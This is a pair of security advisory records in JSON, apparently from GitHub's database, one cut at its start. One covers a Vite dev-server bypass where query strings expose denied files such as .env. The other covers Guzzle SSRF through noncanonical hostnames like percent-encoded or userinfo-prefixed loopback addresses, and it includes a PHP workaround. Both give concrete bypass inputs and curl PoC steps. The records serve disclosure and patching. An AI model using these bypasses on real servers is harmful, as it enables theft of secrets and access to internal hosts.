  "details": "### Summary\n\nThe contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow)\n- the sensitive file is denied with a pattern that matches a file by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)\n\n### Details\n\nOn the Vite dev server, files that should be blocked by `server.fs.deny` (e.g., `.env`, `*.crt`) can be retrieved with HTTP 200 responses when query parameters such as `?raw`, `?import\u0026raw`, or `?import\u0026url\u0026inline` are appended.\n\n### PoC\n\n1. Start the dev server: `pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort`\n2. Confirm that `server.fs.deny` is enforced (expect 403): `curl -i http://127.0.0.1:5175/src/.env | head -n 20`\n   \u003cimg width=\"3944\" height=\"1092\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ecb9f2e0-e08f-4ac7-b194-e0f988c4cd4f\" /\u003e\n3. Confirm that the same files can be retrieved with query parameters (expect 200):\n   \u003cimg width=\"2014\" height=\"373\" alt=\"image\" src=\"https://github.com/user-attachments/assets/76bc2a6a-44f4-4161-ae47-eab5ae0c04a8\" /\u003e",
  "id": "GHSA-v2wj-q39q-566r",
  "modified": "2026-04-07T22:16:17Z",
  "published": "2026-04-06T18:03:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39364"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/pull/22160"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/a9a3df299378d9cbc5f069e3536a369f8188c8ff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/releases/tag/v7.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/releases/tag/v8.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vite: `server.fs.deny` bypassed with queries"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/guzzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/guzzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-436",
      "CWE-918",
      "CWE-941"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-03T21:07:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nIn affected versions, Guzzle gives a transport the request URI as text and supplies the `Host` header separately. The cURL handlers set `CURLOPT_URL` to the URI exactly as written and push that `Host` into `CURLOPT_HTTPHEADER`; `StreamHandler` does the same through `fopen()`. libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy `CONNECT`, while the supplied `Host` suppresses the aligned one it would have generated. In `http://127.0.0.%31/` the URI host is one `filter_var()` rejects as an IP literal, yet libcurl decodes it to `127.0.0.1` and reaches loopback with no DNS lookup while the server receives `Host: 127.0.0.%31`.\n\nAn attacker who influences a fetched URI can therefore reach a host the application\u0027s checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle\u0027s own decisions onto a spelling the transport does not use: `no_proxy` selects proxy routing from the literal host, and `RedirectMiddleware` decides from it whether to strip `Authorization` and `Cookie`. The cookie middleware extracts `Set-Cookie` against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent `Host`, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party `UriInterface`, a host of `blocked.example.com@127.0.0.1` reaches `127.0.0.1` through all three handlers and generates `Authorization: Basic` from userinfo the application never wrote.\n\nExploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle\u0027s own `idn_conversion`, off by default on both branches, which rewrites the URI in `Client::buildUri()` before a handler sees it and leaves a prebuilt request\u0027s explicit `Host` as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as `127.1`, `2130706433`, `0x7f000001` and `0177.0.0.1` remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside `0x21` to `0x7E`, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as `256.0.0.1.`. An explicit `Host` header must be printable ASCII, and on `7.15.2` free of percent escapes. The client also regenerates a derived `Host` when it rewrites the request URI. Versions before `7.15.2` and version `8.0.0` are affected.\n\n### Workarounds\n\nIf you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit `Host` header separately, on every redirect hop. The URI rule assumes `$uri` is a validated `GuzzleHttp\\Psr7\\Uri`, so re-parse a third-party `UriInterface` with `new Uri((string) $uri)` first.\n\n```php\n$host = $uri-\u003egetHost();\n\nif (\n    preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $host) !== 1\n    || strpbrk($host, \u0027%@/?#\\\\\u0027) !== false\n    || substr($host, -1) === \u0027.\u0027\n) {\n    throw new RuntimeException(\u0027Refusing to fetch this URI host.\u0027);\n}\n\nif (\n    preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $hostHeader) !== 1\n    || strpos($hostHeader, \u0027%\u0027) !== false\n) {\n    throw new RuntimeException(\u0027Refusing to send this Host header.\u0027);\n}\n```\n\nIt differs from the patch in both directions: it refuses `example.com.`, which the patch accepts, and it does not canonicalize `127.1` or `0x7f000001`. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. `idn_conversion =\u003e true` is not an access control, since IDNA maps `\uff11\uff12\uff17\u3002\uff10\u3002\uff10\u3002\uff11` onto `127.0.0.1` and direct handler use bypasses it, and `Uri::getHost()` is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.",
  "id": "GHSA-v5mv-p594-2x33",
  "modified": "2026-08-03T21:07:26Z",
  "published": "2026-08-03T21:07:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-v5mv-p594-2x33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/pull/3907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/pull/3908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/guzzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Guzzle: Noncanonical host can bypass host-based checks"
}